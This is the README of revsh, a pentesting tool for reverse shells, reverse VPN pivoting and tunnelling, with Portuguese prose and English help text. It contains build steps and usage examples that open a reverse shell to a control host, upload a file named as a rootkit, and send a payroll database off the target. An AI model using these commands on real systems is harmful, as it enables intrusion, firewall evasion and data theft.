
Uma shell reversa com suporte a terminal, tunelamento de dados e capacidades avançadas de pivoting.
revsh é uma ferramenta para estabelecer reverse shells com suporte a terminal, VPNs reversas para pivoteamento avançado, bem como tunelamento arbitrário de dados.
O que é um "reverse shell"?
Um reverse shell é uma conexão de rede que concede acesso shell a um host remoto. Ao contrário de outras ferramentas de login remoto, como telnet e ssh, um reverse shell é iniciado pelo host remoto. Esta técnica de conexão de saída da rede remota permite contornar firewalls configurados para bloquear apenas conexões de entrada.
O que é uma "VPN reversa"?
revsh é capaz de anexar uma placa de ethernet virtual (tun/tap) a ambas as extremidades do seu túnel criptografado. Essas placas podem então ser usadas para encaminhar pacotes IP brutos ou quadros ethernet. Quando combinado com uma regra NAT do Iptables, ou fazendo bridge com uma placa de ethernet real, isso permite que o operador receba um endereço IP totalmente roteável na rede da máquina alvo. Isso, essencialmente, é uma VPN completa que fez uma chamada de retorno ao operador para contornar a filtragem de pacotes de entrada e conceder ao operador acesso total à rede. (Veja "Documentation/REVERSE_VPN.md" para mais informações.)
O que é um "bind shell"?
Um bind shell é um shell que é servido a partir de uma conexão de rede normal (direta). revsh suporta shells reversos e bind. Para invocar um bind shell, você pode usar a flag -b em ambas as extremidades da conexão, ou invocar o binário como 'bindsh'.
Não posso simplesmente usar o netcat?
Existem muitas técnicas para estabelecer um reverse shell, mas esses métodos não oferecem suporte a terminal. revsh permite um reverse shell cuja conexão é mediada por um pseudo-terminal e, portanto, permite recursos como:
Além disso, revsh também oferece os seguintes recursos:
revsh é destinado como uma ferramenta suplementar para o kit de ferramentas de um pentester que fornece o conjunto completo de recursos de terminal através de um túnel criptografado.
Onde posso usar o revsh?
revsh foi desenvolvido em Linux x86_64. Aqui está uma breve lista de combinações de arquitetura / SO em que foi usado:
(Se você usou revsh com sucesso em outra plataforma, me avise e adicionarei à lista.)
empty@monkey:~$ revsh -h
Control: revsh -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
Target: revsh [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
ADDRESS The address of the control listener. (Default is "0.0.0.0".)
PORT The port of the control listener. (Default is "2200".)
CONTROL_OPTIONS:
-c Run in "command and control" mode. (Default is target mode.)
-a Enable Anonymous Diffie-Hellman mode. (Default is Ephemeral Diffie-Hellman.)
-d KEYS_DIR Reference the keys in an alternate directory. (Default is "~/.revsh/keys/".)
-f RC_FILE Reference an alternate rc file. (Default is "~/.revsh/rc".)
-s SHELL Invoke SHELL as the remote shell. (Default is "/bin/bash".)
-F LOG_FILE Log general use and errors to LOG_FILE. (No default set.)
TARGET_OPTIONS:
-t SEC Set the connection timeout to SEC seconds. (Default is "3600".)
-r SEC1,SEC2 Set the retry time to be SEC1 seconds, or (Default is "600,1200".)
to be random in the range from SEC1 to SEC2.
MUTUAL_OPTIONS:
-k Run in keep-alive mode.
Node will neither exit normally, nor timeout.
-L [LHOST:]LPORT:RHOST:RPORT
Static socket forwarding with a local listener
at LHOST:LPORT forwarding to RHOST:RPORT.
-R [RHOST:]RPORT:LHOST:LPORT
Static socket forwarding with a remote listener
at RHOST:RPORT forwarding to LHOST:LPORT.
-D [LHOST:]LPORT
Dynamic socket forwarding with a local listener
at LHOST:LPORT. (Socks 4, 4a, and 5. TCP connect only.)
-B [RHOST:]RPORT
Dynamic socket forwarding with a remote
listener at LHOST:LPORT. (Socks 4, 4a, and 5. TCP connect only.)
-x Disable automatic setup of proxies. (Defaults: Proxy D2280 and tun/tap devices.)
-b Start in bind shell mode. (Default is reverse shell mode.)
The -b flag must be invoked on both ends.
-n Non-interactive netcat style data broker. (Default is interactive w/remote tty.)
No tty. Useful for copying files.
-v Verbose. -vv and -vvv increase verbosity.
-V Print the program and protocol versions.
-h Print this help.
-e Print out some usage examples.
Primeiro, você precisará compilar o OpenSSL a partir do código fonte. (Veja NOTA abaixo.)
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static # These options are needed to build static applications against OpenSSL.
make && make test # We skip "make install" so we don't conflict with your systems default OpenSSL. We will build _revsh_ against the OpenSSL we just compiled in this tree.
cd ..
Agora compile o revsh.
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h # Set up new defaults that fit your situation.
vi Makefile # Check that the selected build environment is the one you want. (It probably already is by default.)
make # This *can* take a very long time, though it usually doesn't.
make install
vi ~/.revsh/rc # Add your favorite startup commands to really customize the feel of your remote shell.
revsh -h
NOTA: Com o lançamento do OpenSSL 1.1.0, o OpenSSL precisa ser compilado a partir do código fonte para uso em um binário estaticamente vinculado. Compilar um binário estaticamente vinculado contra as bibliotecas OpenSSL que acompanham a maioria das distribuições Linux (incluindo Kali) não funcionará. (Se compilar, resultará em SEGFAULT.)
IP do host de controle de exemplo: 192.168.0.42
IP do host alvo de exemplo: 192.168.0.66
Interactive example on default port '2200':
control: revsh -c
target: revsh 192.168.0.42
Interactive example on non-standard port '443':
control: revsh -c 192.168.0.42:443
target: revsh 192.168.0.42:443
Bindshell example:
target: revsh -b
control: revsh -c -b 192.168.0.66
Non-interactive file upload example:
control: cat ~/bin/rootkit | revsh -c -n
target: revsh 192.168.0.42 > ./totally_not_a_rootkit
Non-interactive file download example:
control: revsh -c -n >payroll_db.tar
target: cat payroll_db.tar | revsh 192.168.0.42
Non-interactive file download example across existing tunnel:
control: revsh -c -n 127.0.0.1:2291 >payroll_db.tar
target: cat payroll_db.tar | revsh 127.0.0.1:2290